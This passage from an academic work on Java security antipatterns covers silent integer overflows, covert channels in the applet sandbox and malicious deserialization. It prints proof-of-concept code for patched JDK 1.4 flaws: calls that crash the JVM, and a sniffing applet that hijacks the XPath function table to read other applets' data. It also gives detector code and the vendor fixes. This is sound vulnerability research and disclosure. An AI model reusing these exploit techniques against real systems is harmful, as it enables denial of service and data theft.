tion servers and other contained environments. A weak spot in the JRE
therefore threatens the confidentiality, integrity, and availability of these
systems, and of the data and functionality they contain.
If all security precaution techniques described in the beginning of the
chapter would provide the protection they were designed for, there would
be no vulnerabilities within the TCB. These leads to the deduction, that
the code implementing the security concepts of the JVM is not providing
full protection. Instead it adds weak spots to the protective hull of the TCB
within the JRE. In the next sections we observe the relationship between
the habits of security-unaware programming, structural and coding faults
that finally lead to vulnerabilities.
8.1 The General Form of an Antipattern
As a structural help we refer to the definition of an Antipattern, which
describes a suboptimal solution to a common problem.
Recalling Chapter 2, an antipattern is described by these attributes:
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• Problem
• Background
• Context
• Forces
• Faulty Beliefs
• Antipattern Solution
• Consequences
• Symptoms and the
• Refactored Solution
The causal chain from the problem to the background, context, forces
and faulty beliefs leads to the antipattern solution. The next section shows
several security related programming considerations. They should be
taken into account when information systems that should provide a se-
cure design and support more than just the functional dimension.
When have experienced, that security problems arise when guidelines
or best practices concerning secure programming are neglected (Sterbenz
and Lai, 2006; Nisewanger, 2007). From the guidelines described in Chap-
ter 7 the threats are derived. These form the main part to describe security
related antipatterns.
The next sections illustrate the relationship between a security antipat-
tern as an interference caused by the programmer's intend in the form
of violation of secure coding principles (and with them the basic secu-
rity principles) and the security antipatterns are illustrated by an extensive
analysis. The causes for each of the antipatterns are presented. These are
followed by a description of the violated security principle, and the result-
ing security vulnerability. Where applicable, the approach how to detect
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a suspicious pattern in bytecode is presented. The fundamental bytecode
engineering techniques needed for understanding the detection and ex-
ploitation of the vulnerabilities have been shown in the previous chapters,
and will be referenced were needed.
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8.2 JAVA Security Antipattern Catalog
8.2.1 Overview
The following paragraphs are concerned with the detection of software
flaws as antipattern structures in JAVA code. The focus is set on the re-
lationship between suspicious patterns in bytecode and the security at-
tributes of the application. The developer is typically focused on the source
code but the application security attributes depend on the bytecode of the
application.
8.2.2 Categorization
This section provides a categorization of JAVA antipatterns and assigns
typical vulnerabilities found during this research. The main interest was
put on the main core JAVA library of the JAVA TCB, which can be found
in the rt.jar file in the Sun JDK. The codebase, consisting of the classes
included in the class archive, is placed by the primordial class loader into
the AllPermission protection domain. Therefore, each error in the TCB
will potentially compromise the security of every JAVA middleware com-
ponent or application system that is built on top of it.
We also categorize the antipatterns to the three major goals of security.
Condentiality Antipatterns In the case of the JDK the Insecure Compo-
nent Reuse antipattern supported the subversion of the Chinese Wall
policy (see Chapter 2.1.8), which is enforced by the applet security
manager. By including the Apache XML parser into the core APIs
of the JDK 1.4, it was overseen that certain functions in the XML
parser may break the confinement of the sandbox.
Integrity Antipatterns As far as integrity is concerned, we found that at
least two antipatterns are dangerous. The first one was based on the
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Privileged Code Side Effects, which promotes luring attacks breaking
the logic of protection domains and the containment protection of
the sandbox. The second one deals with inappropriate scope, and al-
lows subverting access control settings. Harmful to integrity is also
the careless usage of non-final static variables. Their usage sup-
ports the creation of covert channels between protection domains.
Therefore, the last two antipatterns also subvert the confidentiality
aspects of a system.
Availability Antipatterns We found two antipatterns that primarily endan-
ger availability, the first one was based on the Silent Integer Over-
ow Antipattern and the second one was possible due to the Unin-
vited Object antipattern, which describes the unwanted side effects of
JAVA serialization.
The following list resembles the secure coding guidelines, discussed in
detail in Chapter 7.
R1 Careful usage of static fields
R2 Careful usage of static methods
R3 Prefer reduced scope
R4 Limit package definitions
R5 Limit package access
R6 Preference of immutable objects
R7 Filter user supplied data
R8 Secure object serialization
R9 Avoid native methods
R10 Clear sensitive information
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R11 Limit visibility and size of privileged code
R12 Avoid direct usage of internal system packages
Antipattern name C I A Violations Vulnerability
Silent Integer overflow
antipattern
N Y Y R7,R9 java.util.zip.* Package
Covert channels Y Y N R1-R5,R12 Cross site applet communication
Uninvited objects N Y Y R8 Serialization Remote DoS
Internal State Manipu-
lation
Y Y Y R1, R2, R5, R6 JDBC, Paros, J2EE 1.3
Private Namespace Ex-
posure
Y Y Y R5, R10, R12 Opera applets
Losing Abstraction Y Y Y R9, R11 JAVA Media Framework
LaxPermission Y Y Y R11 OpenOffice Database Startup Script
Table 8.2: Antipattern catalog
Table 8.2 lists the topics of the forthcoming antipattern descriptions.
Along with the antipatterns, we will also present (where applicable) the
bytecode scanners that lead to their detection. The detectors are useful to
detect these kinds of flaws also in other application software. A detector
is needed to walk through the control flow of a class to find programming
vulnerabilities (like integer overflows).
Details about to the implementation requirements of a detector are
shown in Chapter 4.4.4 that describes the JDETECT plugin.
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8.3 The Silent Integer overow
Instances of the silent integer overflow antipattern were the reason for a
series of Denial-Of-Service vulnerabilities in JDK version 1.4.2_01. There-
fore, this antipattern impairs the availability requirement of applications.
The silent integer antipattern is summarized in Table 8.3 and explained
in detail within this section.
8.3.1 Problem
Known from the C/C++ language family the integer overflow (blexim,
2002) behavior leads to problems when numbers are added or subtracted
and the result is larger or smaller than the limits of the range of the chosen
numeric data type.
8.3.2 Background
All JAVA integers are bounded in the range of [−231,+231 − 1]. This leads
to a circular structure of values in the integer data type as shown in Fig-
ure 8.1.
Therefore the equation−231 == +231− 1 is true for JAVA integer vari-
ables. This itself is not a security problem. Integer overflow detection
mechanisms exist in most processors like the overflow flag in the status
registers since, from ancient MOS 6502 (Gennadiy Shvets, 2003b) to cur-
rent X86 CPUs (Gennadiy Shvets, 2003a). The JAVA runtime environment
does not provide any hint to the application layer that an overflow has oc-
curred which could lead to incorrect security-related decisions (CWE-697).
8.3.3 Context
Integer overflows are recognized as a common vulnerability type and cate-
gorized under the key CWE-190, which is a subtype of CWE-682 (incorrect
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Name Silent Integer overflow
Problem Integrity constraints can be violated due to unexpected results
of integer operations.
Background Silent Integer overflows lead to errors that potentially propagate
to the TCB. Integer additions are often performed in computing
applications, but the edge cases that incorporate overflows are
neglected in testing.
Context Integer overflows may violate the contract between methods pa-
rameter that is enforced by parameter checks (CWE-190, CWE-
682)
Forces Parameters that propagate into the TCB are not checked appro-
priately, as edge cases may lead to native code failures due to
memory exhaustion or illegal pointer operations
Faulty Beliefs
• Integers are unbounded
• Integers signal overflow conditions
• Overflows are harmless
• The TCB in JVM is equipped with appropriate integrity
checks
Consequences Availability impaired
Symptoms
• Denial-Of-Service
• Excessive memory consumption
Refactored Solution Restructure code fragments that to avoid overflowed intermedi-
ate values. This enhances integrity for comparisons that deter-
mine control flow within the TCB code.
Table 8.3: Security antipattern: Silent integer overflow
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0
Integer.MIN_VALUE= Integer.MAX_VALUE+1
+ -
+1 -1
Figure 8.1: Integer Overflow
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calculation). A silent overflow can be a problem, when the control flow fol-
lowing an integer addition depends on the result and integrity of the inte-
ger sum. This is an example of a Clark-Wilson constraint-data item (CDI),
as shown in Chapter 2.4, consisting a simple constraint where a+ b→ c,
so that c = a+ b.
8.3.4 Forces
The forces stem from the fact not the entire functionality bundled within
the TCB is coded in JAVA. The TCB contains parts in native code, written
in C. This kind of implementation was necessary either to be platform-
specific, because of performance constraints, or both. When this code is
called by non-native code, it receives the passed parameter values. Attack-
ers may succeed to harm the virtual machine by using parameters that
pass as a layer-below-attack (see Chapter 2.4.2) of the integrity checks; by
exploiting the special behavior of the arithmetic operations.
8.3.5 Faulty Beliefs
The vulnerable situation occurs, when developers are not aware of the
edge cases of the behavior of the programming environment. JAVA inte-
ger values are mapped to memory areas or processor registers of a certain
byte size. Therefore, the checks for overflow conditions are mandatory
test cases. Only when the edge test cases are handled correctly in the
implementation, the programmer was successful in establishing a hurdle
against an attack against the application, exploiting a edge case like the
silent overflow.
8.3.6 Antipattern Solution
Certain code blocks in the java.util.zip package that based on the
faulty belief that JAVA integers are unbounded. These additions propagate
their results to native routines and we applied parameter combinations
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that resulted in JVM crashes. Therefore, a denial-of-service vulnerability
exists.
One problematic method was found in the class java.util.zip.CRC32.
The vulnerable update method is shown in Figure 8.2.
public void update(byte[] b, int off, int len) {
if (b == null)
{ throw new NullPointerException(); }
if (off < 0 || len < 0 || off + len > b.length)
{ throw new ArrayIndexOutOfBoundsException(); }
crc = updateBytes(crc, b, off, len);
}
Figure 8.2: Silent Integer Overflow antipattern in JDK 1.4.1_01
8.3.7 Consequences
The update method is used to calculate a checksum over a buffer. To cal-
culate a checksum over a byte buffer consisting of the values (1,2,3,4)
the following is needed:
CRC32 c = new java.util.zip.CRC32 ();
c.update (new byte []{1,2,3,4} ,0 ,3);
However, if the update method is called with the following parameters
the addition in the update method causes an overflow. As a result the
JVM crashes, because of a propagated value that violates the integrity con-
straints.
c.update (new byte [0] ,4 ,Integer.MAX_VALUE -3);
The Silent Integer overow 273
public class BidiCrash {
public BidiCrash() {
byte buff[] = new byte[3000];
char cbuff[] = new char[20];
java.text.Bidi bi2 = new
java.text.Bidi(cbuff,10,buff,Integer.MAX_VALUE-3,4,1);
}
public static void main(String[] args) {
BidiCrash bc = new BidiCrash();
}
}
Figure 8.3: Integer Overflow antipattern in Bidi class
8.3.8 Symptoms
The worst symptoms are JVM crashes.Figure 8.4 shows how the prop-
agated parameters cause the crash in a native function. The BidiCrash
example (Figure 8.3) illustrates how the crash can be provoked. It shows a
silent integer overflow antipattern causing a denial-of-service vulnerabil-
ity. The checking code that caused the overflow was fixed in the 1.4.1_03
version of the JDK.
8.3.9 Refactored Solution
The false behavior was reported to Sun Microsystems and the responsible
programmers refactored the problematic code by rearranging the compar-
ison of the method parameters length and offset to the bounds of the array
(Appendix A.4.1). The functional behavior of the method was unchanged.
This is also shown in Figure 8.5.
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c:\java\1.4.1\02\bin\java.exe -Xcheck:jni BidiCrash
An unexpected exception has been detected in native code outside the VM.
Unexpected Signal : EXCEPTION_ACCESS_VIOLATION occurred at PC=0x6D1B045D
Function=Java_java_text_Bidi_nativeBidiChars+0xC6D
Library=C:\java\1.4.1\02\jre\bin\fontmanager.dll
Current Java thread:
at java.text.Bidi.nativeBidiChars(Native Method)
- locked <06B0B2B8> (a java.lang.Class)
at java.text.Bidi.<init>(Bidi.java:248)
at BidiCrash.<init>(BidiCrash.java:5)
at BidiCrash.main(BidiCrash.java:8)
Figure 8.4: Integer Overflow crash in Bidi class
public void update(byte[] b, int off, int len) {
if (b == null)
{ throw new NullPointerException(); }
if (off < 0 || len < 0 || off > b.length - len)
{ throw new ArrayIndexOutOfBoundsException(); }
crc = updateBytes(crc, b, off, len);
}
Figure 8.5: Refactoring of Integer Overflow antipattern in JDK 1.4.1_02
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Before: JDK 1.4.1_01 After: JDK 1.4.1_02
12: iload_2
13: iflt 28
16: iload_3
17: iflt 28
20: iload_2
21: iload_3
22: iadd
23: aload_1
24: arraylength
25: if_icmple 36
12: iload_2
13: iflt 28
16: iload_3
17: iflt 28
20: iload_2
21: aload_1
22: arraylength
23: iload_3
24: isub
25: if_icmple 36
Table 8.4: Bytecode in Integer Overflow antipattern in JDK 1.4.1_02
8.3.10 Detection
By the use of bytecode scanner we analyzed the JVM class files to find loca-
tions, where integers where added and the result was forwarded as param-
eter to a native code function, provoking segmentation faults. These are
thrown as result of usage of unusual small or high numbers propagated
to native memory memory management routines.
For detection of suspicious bytecode structures, we extracted a pattern
that is an indication for integer overflows.
Table 8.4 shows that the javac compiler emits two iload statements
and an iadd statement to the method. The sum calculated by iadd is
afterwards left on the stack. We therefore implemented this search pat-
tern in a detector and needed to look whether the control flow branches
(invokestatic, invokevirtual) into code sensitive to integrity viola-
tions, such as a native method, in the later control flow.
By using the detector as shown in Figure 8.6 several other occurrences
of the integer overflow antipattern were found as follows:
• java.util.zip.Adler32().update(), (Schönefeld, 2003b)
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package jdetect; [...]
public class IntOverflowToNativeMethodCall extends JDetectBaseDetector {
public void sawOpcode(int seen) {
[...]
switch (seen) {
case ILOAD:
case ILOAD_0:
case ILOAD_1:
case ILOAD_2:
case ILOAD_3:
valid1 = false;
if (seen == ILOAD && stackheight > 0)
valid1 = true;
if (seen == ILOAD_0 && stackheight > 0)
valid1 = true;
if (seen == ILOAD_1 && stackheight > 1)
valid1 = true;
if (seen == ILOAD_2 && stackheight > 2)
valid1 = true;
if (seen == ILOAD_3 && stackheight > 3)
valid1 = true;
if (valid1) {
iload1stpos = iload2ndpos;
iload2ndpos = getPC();
}
break;
case IADD:
iaddpos = getPC();
break;
case INVOKEVIRTUAL:
String className = getDottedClassConstantOperand();
if (!className.startsWith("[")) {
JavaClass clazz = Repository.lookupClass(className);
Method[] methods = clazz.getMethods();
for (int i = 0; i < methods.length; i++) {
Method method = methods[i];
if (method.getName().equals(getNameConstantOperand()) &&
method.getSignature().equals(getSigConstantOperand())) {
if (method.isNative() && (!method.getName().
equals("arraycopy") | bAlsoShowArrayCopy)) {
criteria[3] = true;
invokepos = getPC();
break;
[...]
if (criteria[1] && criteria[2] && criteria[3]) {
BugInstance bi = new BugInstance(this,
"IO_INTEGER_OVERFLOW_TO_NATIVE",
HIGH_PRIORITY).addClassAndMethod(
this).addSourceLineRange(
this, lastPC, getPC());
bugReporter.reportBug(bi);
iaddpos = 0;
iload1stpos = 0;
iload2ndpos = 0;
valid1 = false;
criteria[1] = false;
criteria[2] = false;
criteria[3] = false;
invokepos = 0;
}
Figure 8.6: Integer Overflow propagating to Native code Detector
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• java.util.zip.Deflater().setDictionary() see (Schönefeld,
2003c)
• java.util.zip.CRC32 ().update(), (Schönefeld, 2003a)
• java.util.zip.Deflater().deflate(), (Schönefeld, 2003d)
• java.util.zip.CheckedOutputStream().write() and Checked-
InputStream().read(), (Schönefeld, 2003e)
• java.text.Bidi.<init>, (Schönefeld, 2003g)
These problems are documented in the JAVA bug database, which is
made public available by Sun Microsystems (2007b).
8.3.11 Affected Security Goals
The violated guidelines by this Antipattern are marked in Table 8.5. The
risk associated to this bug is critical, as unprivileged code such as any non-
system classes may be able to crash the virtual machine of its container.
An unprivileged servlet class is able to crash the running instance of a
tomcat server in a shared hosting environment. Furthermore a malicious
website could crash the browser of the current user.
8.3.12 Summary
The harm of programming errors to the protection function of the TCB is
documented by Schönefeld (2003n). Integer overflows are a common pro-
gramming flaw, however the possibility and extend of integer overflows
is not documented in the Sun Secure Programming Guidelines, there-
fore special awareness of programmers concerning the resulting risks is
needed. The cases that documents that other software systems are vulner-
able to this JDK vulnerabilities as they utilize JAVA as middleware com-
ponent to enable distribution of the features. This bug pattern is still an
issue in java frameworks. Applying our approach recently resulted in the
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R1 Careful usage of static fields
R2 Careful usage of static methods
R3 Prefer reduced scope
R4 Limit package definitions
R5 Limit package access
R6 Preference of immutable objects
R7 Filter user supplied data X
R8 Secure object serialization
R9 Avoid native methods X
R10 Clear sensitive information
R11 Limit visibility and size of privileged code
R12 Avoid direct usage of internal system packages
Table 8.5: Violated Guidelines by Integer Overflow Antipattern
discovery of a vulnerability in the JAVA packages for the Pulseaudio frame-
work (OpenJDK project, 2009), which was assigned CVE-2009-0794 (Mitre
Corporation, 2009b).
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8.4 Covert Channels
The JAVA security manager enforces the controlled execution of mobile
code, such as the applet sandbox. The necessary checks are performed by
the implementation of a check point pattern. The security manager tech-
nically intercepts the critical calls by referring to the policy in place prior to
resource access. The covert channel antipattern shows, how careless use
of public available singleton objects allow to undermine the check point
pattern.
8.4.1 Problem
The strict default applet policy is used to protect the integrity of the user’s
workplace when working with mobile contents loaded from untrusted
sources. According to the security pattern framework by  Yoder and Barca-
low (1998) a check point (Chapter 2.3.2) limits the access to critical func-
tions and resources of applications. This pattern is typically undermined
by  covert  channels (see  Chapter  2.1.9)  that  allow bypassing  the ?access
checks that enforce a security policy.
8.4.2 Background
Since the release of JDK 1.4.1, classes for XML parsing and transforma-
tions of XML are an integral part of the core functionality. In contrast to
other parts of the JDK this functionality is not implemented by Sun Mi-
crosystems, it is imported from the third party projects Xalan and Crim-
son from the Apache (Apache Software Foundation, 2007) group. In the
following, we are referring these components as XXC. For XML related
purposes XXC provide a wide range of interfaces, classes, and tools. The
XXC classes implement the Java API for XML Processing (JAXP) (Sun Mi-
crosystems, 2007a) and other XML related interfaces. These are defined in
the java.xml packages and implemented in the org.apache.* packages.
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Name Covert channels
Problem Integrity and Confidentiality constraints can be violated due to
unmonitored data exchange between compartments within a
Chinese wall protection model.
Background Careless use of static fields and methods undermine the access
checks performed by the security manager.
Context Covert channels violate the separation of protected data areas
within separated compartment within a JVM, such as applets
from untrusted Internet sites or user sessions within an appli-
cation. This antipattern is related to CWE-493 and CWE-485.
Forces Communication and data exchange between applets from dif-
ferent sites should not be possible. The runtime classes and
the contained fields and methods are loaded by the boot class
loader. Those are accessible by trusted and untrusted code,
which gives an attack vector of unprivileged manipulation of
important data structures.
Faulty Beliefs
• The sandbox enforces access to fields and methods
• Trusted Library code is not hookable (There is no
Clark-Wilson like integrity check on function table ob-
ject)
• The TCB in JVM is equipped with appropriate integrity
checks
Consequences Confidentiality and Integrity impaired
Symptoms
• Untrusted Applets may communicate through covert
channels
• An Untrusted applet may intercept the XPath process-
ing done by another applet
Refactored Solution Encapsulate the access to critical function hooks to prevent the
introduction of malicious interceptor code. This includes re-
placing easy accessible function hooks with immutable config-
uration objects to enforce deployment time binding instead of
runtime binding.
Table 8.6: Security antipattern: Covert channel
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8.4.3 Context
Sun Microsystems suggests in the secure coding guidelines for JAVA (Sun
Microsystems, 2002) to be careful when defining static fields:
• Refrain from using non-final public static variables, because there
is no way to check whether the code that changes such variables has
appropriate permissions.
• Be careful with any mutable static states that can cause unintended
interactions between supposedly independent subsystems
CWE-493 provides a general vulnerability description on the risks of
declaring critical public variables without the final modifier, as speci-
fies a subtype of the Insufcient encapsulation weakness (CWE-485).
8.4.4 Forces
This constellation is a problem when multiple processing entities share
a JVM, which is the case in when applets from different web sites are
loaded. Sandboxing is used as a code containment technique by the JVM
security architecture to separate protection domains for different applets
whilst sharing the same JVM. Communication and data exchange be-
tween applets from different sites should not be possible.
8.4.5 Faulty Beliefs
Programmers frequently believe that covert channels are only a problem,
when code has to ensure that data does not leave the compartment, it is
assigned to. This is the case with the applet sandbox. If the requirements
during the design of software are not documented clearly, a programmer
does not take precautions. A typical requirement is as follows: The soft-
ware has to support the Chinese wall policy of the applet sandbox. The faulty
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belief of the deployer, who introduced a vulnerable component, was to as-
sume that the sandbox enforcement of the JVM does protect against data
leakage.
8.4.6 Antipattern Solution
In XXC the covert channel problem became an attack vector when static
non-final fields were used by trusted libraries, which is allows uncontrol-
lable access by other components. In the following it will be shown how
this precondition leads to the Covert channel Antipattern. As the classes
of the XXC are loaded only once per JVM by the boot class loader and are
part of the TCB.
According to a recommendation document of the World Wide Web
Consortium, the XPath standard is defined as follows:
Definition 27 (XPath): The primary purpose of XPath is to address parts of an
XML (Bray et al., 2008) document. In support of this primary purpose, it also
provides basic facilities for manipulation of strings, numbers, and boolean val-
ues. XPath uses a compact, non-XML syntax to facilitate use of XPath within
URIs and XML attribute values. (World Wide Web Consortium, 1999a)
Attack preparations
The org.apache.xpath package is an implementation of the XPath spec-
ification. The field m_functions in the FunctionTable class (of the
org.apache.xpath.compiler package) was declared public. Every class
loaded by the primordial class loader (PCL) (Oaks, 2002) is loaded only
once into the JVM. Context class loaders in contrast, load application
classes. They load the identical class definition multiple times into the
JVM to define a local address space (including the static fields).
As a PCL-loaded class is a strict singleton, the defined static fields within
the class are strict singletons, too. A public static non-final field, which is
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package org.apache.xpath.compiler;
[...]
/*** The function table for XPath. */
public class FunctionTable
{
/** The function table. */
public static FuncLoader m_functions[];
static
{
m_functions = new
FuncLoader[NUM_BUILT_IN_FUNCS + NUM_ALLOWABLE_ADDINS];
m_functions[FUNC_CURRENT] =
new FuncLoader("FuncCurrent", FUNC_CURRENT);
}
[...]
}
Figure 8.7: Partial definition of the FunctionTable class
loaded from the PCL, is accessible from the entire address space of the
JVM. This allows every class to manipulate the value and changes, which
will influence the behavior of the package for the entire JVM.
The contents of the m_functions as shown in Figure 8.7 determines
which JAVA functions (of the type FuncLoader) are called when certain
expressions are encountered by the XPath compiler.
8.4.7 Consequences
An attacker can forge his own functions to be called by replacing the ex-
isting default functions in the m_functions array with his own functions.
To prevent detection an attacker may choose to override an existing im-
plementation class of an XPath function, such as the implementation of
the often-used position() function. The expected functionality and ad-
ditional sniffing of sensitive information provides a masquerading envi-
ronment for the attack.
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public class FuncLoader
{
public FuncLoader(String funcName, int funcID)
{
super();
m_funcID = funcID;
m_funcName = funcName;
}
/**
* Get a Function instance that this instance is liaisoning for.
*
\[...\]
*/
public Function getFunction()
throws javax.xml.transform.TransformerException
{
// \[...\]
}
}
Figure 8.8: Partial definition of the FuncLoader class
Covert Channels 285
package funx;
import javax.xml.transform.TransformerException;
import org.apache.xpath.XPathContext;
import org.apache.xpath.functions.FuncPosition;
import org.apache.xpath.objects.XObject;
public class MyPosition extends FuncPosition {
public XObject execute(XPathContext xctxt)
throws TransformerException {
new Throwable().printStackTrace();
System.out.println(
"*"+
xctxt.getVarStack().elementAt(0)+
"*"
);
return super.execute(xctxt);
}
}
Figure 8.9: Overwritten XPath position() function
The position() function is implemented with the class FuncPosi-
tion which resides in the package org.apache.xpath.functions. To
reach his goal the attacker could register an extended version of the Func-
Position class like the proof-of-concept implementation shown in Fig-
ure 8.9. A more advanced and malicious version would collect the data
and send it via a HTTP request to its originating host, which is the only ac-
cessible remote contact point due to sandbox restrictions. Steganographic
(Dunbar, 2002) encoding of the information transferred may masquerade
the purpose of the HTTP request.
After definition of the modified XPath class, the attacker uses a modi-
fied subclass of the FuncLoader (Figure 8.10) to adjust the bypass the class
loading checks of the original FuncLoader implementation.
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import org.apache.xpath.compiler.FuncLoader;
import org.apache.xpath.functions.Function;
public class TheFunkyFuncLoader extends FuncLoader {
private Function m_o;
public TheFunkyFuncLoader(Function o) {
super("horn",0xe);
m_o = o;
}
public Function getFunction()
throws javax.xml.transform.TransformerException {
if (m_o != null ){
return m_o;
}
throw new javax.xml.transform.TransformerException(
new IllegalArgumentException());
}
}
Figure 8.10: Customized FuncLoader Implementation
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import java.applet.Applet;
import org.apache.xpath.compiler.FunctionTable;
import funx.MyPosition;
public class SniffingApplet extends Applet {
public void init() {
super.init();
FunctionTable.m_functions[FunctionTable.FUNC_POSITION]=
new TheFunkyFuncLoader(new MyPosition());
System.out.println(
"Modified Position implementation registered");
}
}
Figure 8.11: Sniffing Applet Implementation
Following these preparations, the attacker codes an applet to inject his
manipulated function code to the JVM inside the victim's browser.
The applet SniffingApplet is coded as shown in Figure 8.11 and is
loaded within a web page by a browser registers the enhanced implemen-
tation of the XPath position() instruction. After the class is registered
it stays in the victims JVM until the browser is closed, it is not collected by
the garbage collector, even when the originating applet is closed because
the injected instance of the MyPosition class is still referenced by the
singleton FunctionTable instance loaded by the PCL. While being regis-
tered as an XPath function handler, the MyPosition object is able to read
all data, which is passed to the xctxt object during XPath processing.
The applet in Figure 8.11 and data in Figure 8.13 can be used to illus-
trate the resulting violation of the sandbox policy.
A user loads a second or more applets after the SniffingApplet has
silently started and manipulated the FunctionTable singleton.
One of the following applets is performing XML transformation with
the embedded XML classes of JDK. For simplicity, the example applet
288 Antipatterns in distributed JAVA components
<HTML>
<body> <div id="target">Hier</div>
<a href="#"
onclick="target.innerHTML=document.xslControl.getHTMLText()">
Click here to transform</a>
<applet
name="xslControl" code="org.apache.xalan.client.XSLTProcessorApplet"
align=baseline width="550" height="400" >
<param name="styleURL" value="Address.xsl">
<param name="documentURL" value="Addressbook.xml">
</applet>
</body>
</HTML>
Figure 8.12: Transform.html
XSLTProcessorApplet that was bundled with the JDK (in rt.jar) is
used, and removed after our vendor notification.
The XSLTProcessorApplet is started with the following HTML code
as shown in Figure 8.12.
The applet from Figure 8.12 receives two parameters, the XSL style
sheet Address.xsl and the XML data which is stored in Addressbook.xml.
Symptoms
The data structures that are processed by an applet can be transferred
silently by the manipulated position() method to the SniffingApplet.
The sandbox protection is broken and XML, XSLT and XPath process-
ing in applets should therefore be considered as untrustworthy when the
Apache classes bundled with the JDK are used. The problem described
above was communicated to Sun Microsystems. The JDK 1.4.2_05 has a
corrected version of the handling within the XPath position function.
The refactoring is shown below. In this context it makes no differences
whether codebases are signed or even SSL is used for transmission as the
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<addressbook>
<address>
<addressee>Gerhard Schneider</addressee>
<streetaddress>250 18th West Wilson SE</streetaddress>
<city>Witten</city>
<state>MN</state>
<postalCode>55902</postalCode>
</address>
<address>
<addressee>Helge Schroeder</addressee>
<streetaddress>1234 South Park Lane NW</streetaddress>
<city>Bottrop</city>
<state>MN</state>
<postalCode>55123</postalCode>
</address>
</addressbook>
Figure 8.13: Addressbook.xml
confidentiality compromise occurs directly in the shared resource, which
is the JVM. The following stack trace demonstrates that the user-injected
class MyPosition class is included in the call stack, when data from other
applets is processed via XSLT transformations.
8.4.8 Refactored Solution
The refactored solution of JDK 1.4.2_05 blocks the possibility to add own
functions to XPath processing. The formerly used static fields broke sand-
box isolation.
Sun Microsystems introduced these refactorings in JDK version 1.4.2_06:
• Addition of the final modifier to the definition of the FuncLoader
class.
• Encapsulation of the m_functions dispatching array of FuncTable
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<?xml version='1.0'?>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
version="1.0">
<xsl:output method="xml"/>
<xsl:template match="* | @*">
<xsl:copy>
<xsl:copy-of select="@*"/>
<xsl:apply-templates/>
</xsl:copy>
</xsl:template>
<xsl:template match="//address">
<xsl:param name="addresseeName">
<xsl:value-of select="addressee"/>
</xsl:param>
<xsl:variable name="descPos" select="position()"/>
</xsl:template>
</xsl:stylesheet>
Figure 8.14: Address.xsl
behind an immutable proxy class and limiting the scope of the array
containing the Function objects to private scope, see Figure 8.16
8.4.9 Detection
To detect the candidate non-final static variables the field walkers pro-
grammed with the help of the BCEL (BCEL Project, 2006) were used.
FINDBUGS offers similar detectors in its default set of detectors.
8.4.10 Affected Security Goals
As far as security is concerned the XXC do not follow the security guide-
lines which were published by Sun Microsystems (2002) and are recalled
in brevity in Table 8.7, the violated guidelines in the XXC.
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Sniffing Applet Started
Primed the pump!
java.lang.Throwable
at funx.MyPosition.execute(MyPosition.java:24)
at org.apache.xpath.XPath.execute(Unknown Source)
at org.apache.xalan.templates.ElemVariable.getValue(Unknown Source)
at org.apache.xalan.templates.ElemVariable.execute(Unknown Source)
[...several lines deleted...]
at java.lang.Thread.run(Unknown Source)
*Gerhard Schneider*
Figure 8.15: Stack trace forced while execution of position function
private static org.apache.xpath.compiler.FuncLoader[] m_functions;
Figure 8.16: Refactoring of XPath function loader
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R1 Careful usage of static fields X
R2 Careful usage of static methods X
R3 Prefer reduced scope X
R4 Limit package definitions X
R5 Limit package access X
R6 Preference of immutable objects X
R7 Filter user supplied data
R8 Secure object serialization
R9 Avoid native methods
R10 Clear sensitive information
R11 Limit visibility and size of privileged code
R12 Avoid direct usage of internal system packages X
Table 8.7: JAVA Secure Coding Guidelines
8.4.11 Summary
This section demonstrated how shared fields and methods result in a
Covert channel antipattern. This condition creates a confidentiality leak-
age the unintended data exposure vulnerability. Covert channels violate
the Chinese wall policy of the JAVA sandbox because, as shown with the
example XPath component from the Apache group, an assembled often
does not meet the protection requirements, that are determined by usage
environment. The vulnerability was closed by updating the JDK to ver-
sion 1.4.2_05, which was announced by an advisory (Sun Microsystems,
2004d).
A variation of this vulnerability was found in the Microsoft Java Virtual
machine and is known under CVE-2004-0723 (Schönefeld, 2004b).
The adequate precaution within the programmers' responsibility was
the avoidance of public fields and methods, which allow unmonitored data
exchange (as defined by Sun's guidelines). As this antipattern describes
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a typical problem of component reuse integration it completes the Long's
catalog of Software Reuse Antipatterns (Long, 2001).
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8.5 Uninvited Objects
Object serialization is used to transfer JAVA objects outside of the JVM
either for external storage or for external communication to another JVM.
Objects arriving from input channels such as files or streams have to be
constructed by the JVM in correspondence to the metadata supplied from
the input values. For a brief overview see Table 8.8.
8.5.1 Problem
The Antipattern is called Uninvited Object because the virtual machine,
which receives an object, does not defend itself against reception of the
injected object with an unexpected type. Furthermore, an attacker can
force the creation of vulnerable object instances within the remote JVM.
8.5.2 Background
To maintain integrity of the system both the serialization constructor meth-
ods readObject and readExternal should be used to check the integrity
requirements of a class. In terms of the Clark-Wilson model, the concept
of IVP (integrity verification procedures) is helpful, as presented in Chap-
ter 2.1.8. Attackers use this strategy to harm JVM security by the use of
serialized objects:
1. Understanding the structure is a first step. It describes, that an
attacker needs to know how an object is represented in a serial-
ized form. He needs to know, which bytes in the structure have
an impact on the timing and resource consumption of the target
system. This knowledge allows him to create objects with illegal in-
ternal states. Manipulated buffer lengths or illegal characters within
Strings can be harmful for parsers. The creation of objects with il-
legal internal states is typically blocked by the checks performed by
the constructor of an object, when the object instance is constructed
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Name Uninvited Object Antipattern
Problem The serialization API provides no protection when a serialized
object of a vulnerable type is received, which open an attack
vector for a remote attacker
Background The serialization API uses byte arrays for the transport of for
inter-JVM object transport. With fuzzing techniques attackers
can try to generate byte arrays that cause harm to the JVM re-
ceiving the object
Context Classes within the TCB of the JRE may be implemented with
vulnerable readObject methods.
Forces The deserializing constructors, which are called by the JVM
during the reconstruction of an object from a received byte array
frequently do not contain the same protection level as conven-
tional constructors.
Faulty Beliefs
• The readObject / readExternal deserializing con-
structors function does not hardening effort
• The serialization process is robust against the injection
of objects that are not of an expected type
• The only harm an unexpected (uninvited) object on the
ObjectInputStream may cause is consumption of its
heap space, because once it is constructed it will be col-
lected by the garbage collector
Consequences Denial-Of-Service including JVM crashes or unresponsiveness
of the JVM process.
Symptoms Unavailability of the application, slow response time
Refactored Solution Avoid complex computation in the deserializing constructor,
check if deserialized parameters may propagate to native code
Table 8.8: Security antipattern: Uninvited Object
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public BigInteger(int bitLength,
int certainty,
Random rnd)
Figure 8.17: Constructor of BigInteger
with a new instruction. However, programmers may forget to call
these checks in the serialization constructors.
2. The Behavioral exploitation is the second step and relies on the char-
acteristics of the deserialization behavior of objects.
The constructor of the java.math.BigInteger class creates an ob-
ject. It may need endless time to create a random BigInteger in-
stance that has prime properties with a given certainty. The cer-
tainty directly influences the needed processing time. This charac-
teristic is shared by other core runtime classes, every Pattern class
